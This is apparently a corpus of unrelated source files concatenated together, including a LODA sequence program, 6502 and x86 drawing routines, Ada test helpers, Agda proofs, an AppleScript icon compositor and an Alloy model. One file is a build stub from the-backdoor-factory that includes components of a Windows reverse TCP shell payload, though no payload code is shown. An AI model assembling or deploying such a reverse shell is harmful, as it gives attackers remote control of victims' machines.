<reponame>jmorken/loda<gh_stars>1-10 ; A055899: Column 3 of triangle A055898. ; 1,7,31,101,272,636,1340,2600,4725,8135,13391,21217,32536,48496,70512,100296,139905,191775,258775,344245,452056,586652,753116,957216,1205477,1505231,1864695,2293025,2800400,3398080,4098496,4915312 mov $16,$0 mov $18,$0 add $18,1 lpb $18 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15 clr $0,13 mov $0,$13 sub $15,1 sub $0,$15 mov $10,$0 mov $12,$0 add $12,1 lpb $12 clr $0,10 mov $0,$10 sub $12,1 sub $0,$12 mov $7,$0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $3,$0 mul $3,$0 mov $6,2 add $6,$0 add $3,$6 sub $3,1 div $6,2 mov $2,$6 sub $6,1 mul $6,$2 add $6,$3 add $8,$6 lpe add $11,$8 lpe add $14,$11 lpe add $17,$14 lpe mov $1,$17
src/draw/DrawRectangle.asm
jhm-ciberman/calculator-asm
2
23182
<reponame>jhm-ciberman/calculator-asm ;;; ; Draws a rectangle filled with the specified colour ; ; Arguments: ; x - The starting x position ; y - The starting y position ; width - The width of the rectangle ; height - The height of the rectangle ; col - The color to fill the rectangle ;;; proc DrawRectangle, x:DWORD, y:DWORD, width:DWORD, height:DWORD, colour:DWORD mov [x], ecx mov [y], edx mov [width], r8d mov [height], r9d ; while (height != 0) cmp [height], 0 jz .endwhile .while: fastcall DrawLineHorizontal, [x], [y], [width], [colour] inc [y] dec [height] jnz .while .endwhile: ret endp
src/days.asm
ViGrey/calendar_dot_exe
2
168847
<reponame>ViGrey/calendar_dot_exe<filename>src/days.asm<gh_stars>1-10 ; Copyright (C) 2020-2021, <NAME> ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ; OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ; SUCH DAMAGE. DrawDays: lda dayOffset tay asl asl clc adc #$24 sta (ppuAddr + 1) lda #$21 adc #$00 sta ppuAddr ldx #$00 DrawDaysLoop: lda NumbersPrint, X sta tmp inx lda NumbersPrint, X sta (tmp + 1) inx txa pha jsr DrawDayDigits pla tax lda (ppuAddr + 1) clc adc #$04 sta (ppuAddr + 1) lda ppuAddr adc #$00 sta ppuAddr stx tmp lsr tmp txa pha ldx month cpx #MONTH_FEBRUARY bne DrawDaysNotFeb lda leapYear beq DrawDaysNotFeb lda #29 jmp DrawDaysFebCheckDone DrawDaysNotFeb: lda DaysPerMonthTable, X DrawDaysFebCheckDone: cmp tmp beq DrawDaysDone pla tax iny cpy #$07 bne DrawDaysLoop ldy #$00 lda (ppuAddr + 1) clc adc #$04 sta (ppuAddr + 1) lda ppuAddr adc #$00 sta ppuAddr jsr IncPPUAddr1Row jsr IncPPUAddr1Row jmp DrawDaysLoop DrawDaysDone: pla rts DrawDayDigits: lda PPU_STATUS lda ppuAddr sta PPU_ADDR lda (ppuAddr + 1) sta PPU_ADDR lda tmp asl tax lda Numbers, X sta PPU_DATA jsr IncPPUAddr1Row lda PPU_STATUS lda ppuAddr sta PPU_ADDR lda (ppuAddr + 1) sta PPU_ADDR inx lda Numbers, X sta PPU_DATA jsr DecPPUAddr1Row jsr IncPPUAddr lda PPU_STATUS lda ppuAddr sta PPU_ADDR lda (ppuAddr + 1) sta PPU_ADDR lda (tmp + 1) asl tax lda Numbers, X sta PPU_DATA jsr IncPPUAddr1Row lda PPU_STATUS lda ppuAddr sta PPU_ADDR lda (ppuAddr + 1) sta PPU_ADDR inx lda Numbers, X sta PPU_DATA jsr DecPPUAddr1Row jsr DecPPUAddr rts AddTmpToDayOffset: ldy tmp lda (tmp + 1) clc adc dayOffset AddTmpToDayOffsetLoop: dey bmi AddTmpToDayOffsetDone adc #$0A AddTmpToDayOffsetDone: sta dayOffset rts DayOffsetMod7: lda dayOffset sec DayOffsetMod7Loop: sbc #$07 bcs DayOffsetMod7Loop adc #$07 sta dayOffset rts
testsuite/tests/virtual_file_system/src/helpers.adb
morbos/Ada_Drivers_Library
2
10209
with Ada.Command_Line; with Ada.Directories; with Ada.Strings.Unbounded; with Ada.Text_IO; use Ada.Text_IO; package body Helpers is Program_Abspath : constant Pathname := Native.Filesystem.Join (Ada.Directories.Current_Directory, Ada.Command_Line.Command_Name, False); Test_Dir : constant Pathname := Ada.Directories.Containing_Directory (Ada.Directories.Containing_Directory (Program_Abspath)); Material_Dir : constant Pathname := Ada.Directories.Compose (Test_Dir, "material"); ---------- -- Test -- ---------- procedure Test (Status : Status_Kind) is begin if Status /= Status_Ok then raise Program_Error; end if; end Test; ------------ -- Create -- ------------ function Create (Root_Dir : Pathname; Create_If_Missing : Boolean := False) return Native.Filesystem.Native_FS_Driver_Ref is use Native.Filesystem; Abs_Root_Dir : constant Pathname := Ada.Directories.Compose (Material_Dir, Root_Dir); Result : constant Native_FS_Driver_Ref := new Native_FS_Driver; begin if Create_If_Missing and then not Ada.Directories.Exists (Abs_Root_Dir) then Ada.Directories.Create_Directory (Abs_Root_Dir); end if; Test (Create (Result.all, Abs_Root_Dir)); return Result; end Create; --------------- -- Read_File -- --------------- function Read_File (File : in out File_Handle'Class) return UInt8_Array is type UInt8_Array_Access is access UInt8_Array; procedure Destroy is new Ada.Unchecked_Deallocation (UInt8_Array, UInt8_Array_Access); Buffer : UInt8_Array_Access := new UInt8_Array (1 .. 1024); Last : Natural := 0; begin loop -- If the buffer is full, reallocate it twice bigger if Last >= Buffer'Last then declare New_Buffer : constant UInt8_Array_Access := new UInt8_Array (1 .. 2 * Buffer'Length); begin New_Buffer (1 .. Buffer'Length) := Buffer.all; Destroy (Buffer); Buffer := New_Buffer; end; end if; -- As File_Handle.Read does not tell us how many bytes it could read -- when it cannot fill the buffer, read byte by byte... case File.Read (Buffer (Last + 1 .. Last + 1)) is when Status_Ok => null; when Input_Output_Error => exit; when others => raise Program_Error; end case; Last := Last + 1; end loop; declare Result : constant UInt8_Array := Buffer (1 .. Last); begin Destroy (Buffer); return Result; end; end Read_File; ----------------- -- Quote_Bytes -- ----------------- function Quote_Bytes (Bytes : UInt8_Array) return String is use Ada.Strings.Unbounded; Result : Unbounded_String; Hex_Digits : constant array (UInt8 range 0 .. 15) of Character := "0123456789abcdef"; begin for B of Bytes loop declare C : constant Character := Character'Val (B); begin if C = '\' then Append (Result, "\\"); elsif C in ' ' .. '~' then Append (Result, C); else Append (Result, "\x" & Hex_Digits (B / 16) & Hex_Digits (B mod 16)); end if; end; end loop; return To_String (Result); end Quote_Bytes; ---------- -- Dump -- ---------- procedure Dump (FS : in out FS_Driver'Class; Dir : Pathname) is DH : Any_Directory_Handle; DE : Directory_Entry; I : Positive := 1; Status : Status_Kind; begin Put_Line ("Entering " & Dir); Test (FS.Open_Directory (Dir, DH)); loop Status := DH.Read_Entry (I, DE); exit when Status = No_Such_File_Or_Directory; Test (Status); declare Name : constant Pathname := Native.Filesystem.Join (Dir, DH.Entry_Name (I), True); begin case DE.Entry_Type is when Regular_File => Put_Line (" File: " & Name); declare File : Any_File_Handle; begin Test (FS.Open (Name, Read_Only, File)); declare Content : constant UInt8_Array := Read_File (File.all); begin Put_Line (" Contents: " & Quote_Bytes (Content)); end; Test (File.Close); end; when Directory => Dump (FS, Name); end case; end; I := I + 1; end loop; Put_Line ("Leaving " & Dir); Test (DH.Close); end Dump; end Helpers;
test/succeed/RecordPatternMatching.agda
asr/agda-kanso
1
10351
<reponame>asr/agda-kanso module RecordPatternMatching where -- Sigma type. record Σ (A : Set) (B : A → Set) : Set where constructor _,_ field proj₁ : A proj₂ : B proj₁ open Σ _×_ : Set → Set → Set A × B = Σ A λ _ → B -- Curry and uncurry with pattern matching. curry : ∀ {A : Set} {B : A → Set} {C : Σ A B → Set} → ((p : Σ A B) → C p) → ((x : A) → (y : B x) → C (x , y)) curry f x y = f (x , y) uncurry : ∀ {A : Set} {B : A → Set} {C : Σ A B → Set} → ((x : A) → (y : B x) → C (x , y)) → ((p : Σ A B) → C p) uncurry f (x , y) = f x y -- We still have η-equality. data _≡_ {A : Set} (x : A) : A → Set where refl : x ≡ x curry∘uncurry : ∀ {A : Set} {B : A → Set} {C : Σ A B → Set} → (f : (x : A) → (y : B x) → C (x , y)) → (x : A) → (y : B x) → curry {C = C} (uncurry f) x y ≡ f x y curry∘uncurry f x y = refl uncurry∘curry : ∀ {A : Set} {B : A → Set} {C : Σ A B → Set} → (f : (p : Σ A B) → C p) → (p : Σ A B) → uncurry {C = C} (curry f) p ≡ f p uncurry∘curry f p = refl -- Nested pattern matching is also possible. to : {A B C : Set} → A × (B × C) → (A × B) × C to (x , (y , z)) = ((x , y) , z) from : {A B C : Set} → (A × B) × C → A × (B × C) from ((x , y) , z) = (x , (y , z)) from∘to : {A B C : Set} (p : A × (B × C)) → from (to p) ≡ p from∘to p = refl data Bool : Set where true false : Bool data ⊥ : Set where F : Bool → Set F true = Bool F false = ⊥ foo : Σ Bool F → Bool foo (true , b) = b foo (false , ()) bar : ∀ p → F (foo p) → F (foo p) bar (true , true) = λ b → b bar (true , false) = λ () bar (false , ()) baz : (Σ Bool λ _ → Σ Bool λ _ → Bool) → Bool baz (true , (b , c)) = b baz (false , (b , c)) = c lemma : ∀ p → baz (false , p) ≡ proj₂ p lemma p = refl data ℕ : Set where zero : ℕ suc : ℕ → ℕ add : ℕ × ℕ → ℕ add (zero , n) = n add (suc m , n) = suc (add (m , n)) -- The code below used to trigger a bug: in one part of the code B was -- assumed to be reduced to an application of a record type -- constructor. data Unit : Set where unit : Unit B : Set B = Σ Unit λ _ → Unit C : B → Set₁ C (_ , _) = Set -- The code below, which involves a clause with a "swapping -- permutation", also used to trigger a bug. data P : ⊥ → ⊥ → Set where p : (x y : ⊥) → P x y Bar : (x : ⊥) → P x x → P x x → Set₁ Bar .x _ (p x .x) = Set -- Another example which used to trigger a bug: G : (Σ ⊥ λ x → Σ ⊥ λ y → x ≡ y) → Set₁ G (x , (.x , refl)) = Set -- Record patterns containing dot patterns are supported. Foo : (p₁ p₂ : B) → proj₁ p₁ ≡ proj₁ p₂ → Unit Foo (x , y) (.x , y′) refl = unit Foo-eval : (p : B) → Foo p p refl ≡ unit Foo-eval _ = refl -- Record patterns containing dot patterns as well as data type -- patterns are also supported. D : (p₁ p₂ : B) → proj₁ p₁ ≡ proj₁ p₂ → Set₁ D (x , y) (.x , unit) refl = Set
OverlayImage.applescript
Red-Menace/AppleScriptObjC-Stuff
2
3134
<reponame>Red-Menace/AppleScriptObjC-Stuff use AppleScript version "2.4" -- Yosemite (10.10) or later use framework "Foundation" use scripting additions property iconResources : POSIX path of (path to library folder from system domain) & "CoreServices/CoreTypes.bundle/Contents/Resources/" on run -- run from the Script Editor or app double-clicked set main to iconResources & "KEXT.icns" set overlay to iconResources & "AlertCautionBadgeIcon.icns" set output to POSIX path of (((path to desktop folder) as text) & "composite.png") set mainImage to imageFromFile(main) if mainImage is missing value then error "Main image not found." set overlayImage to imageFromFile(overlay) if overlayImage is missing value then error "Overlay image not found." set rect to {{0, 0}, overlayImage's |size|() as list} -- icons are the same size set shift to {0, -256} -- offset of overlay onto main image set operation to current application's NSCompositeSourceOver mainImage's lockFocus() -- begin drawing overlayImage's drawAtPoint:shift fromRect:rect operation:operation fraction:1.0 mainImage's unlockFocus() -- end drawing set finalImage to mainImage's TIFFRepresentation() set imageRep to current application's NSBitmapImageRep's imageRepWithData:finalImage set imageType to imageRep's representationUsingType:(current application's NSBitmapImageFileTypePNG) |properties|:(missing value) imageType's writeToFile:output atomically:true end run # Get an NSImage from a file, using NSData for better error handling. # Returns missing value if the file is not an image or isn't found. on imageFromFile(posixFile) set image to missing value set imageData to current application's NSData's dataWithContentsOfFile:posixFile if imageData is not missing value then set image to current application's NSImage's alloc's initWithData:imageData return image end imageFromFile
alloy4fun_models/trainstlt/models/0/i8u2Q6gM7wG5kmRj6.als
Kaixi26/org.alloytools.alloy
0
1734
<filename>alloy4fun_models/trainstlt/models/0/i8u2Q6gM7wG5kmRj6.als open main pred idi8u2Q6gM7wG5kmRj6_prop1 { no Signal } pred __repair { idi8u2Q6gM7wG5kmRj6_prop1 } check __repair { idi8u2Q6gM7wG5kmRj6_prop1 <=> prop1o }
asm/src/loadliba_single_shell_reverse_tcp.asm
ik34b4nking/the-backdoor-factory
2,662
89905
<reponame>ik34b4nking/the-backdoor-factory<filename>asm/src/loadliba_single_shell_reverse_tcp.asm ;-----------------------------------------------------------------------------; ; Author: <NAME> @midnite_runr ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Version: 1.0 (28 July 2009) ; Size: 283 bytes ; Build: >build.py loadliba_single_shell_reverse_tcp ; Does not include code from BDF python intel/Winintel32.py for ASLR bypass and ; LoadLibraryA and GetProcAddress api call assignment. ;-----------------------------------------------------------------------------; [BITS 32] [ORG 0] %include "./src/loadliba_reverse_tcp.asm" %include "./src/loadliba_shell.asm"
test/Fail/StaleMetaLiteral.agda
shlevy/agda
1,989
679
module _ where open import Common.Prelude hiding (_>>=_) open import Common.Reflection open import Common.Equality open import Imports.StaleMetaLiteral macro unquoteMeta : Meta → Tactic unquoteMeta m = give (meta m []) thm : unquoteMeta staleMeta ≡ 42 thm = refl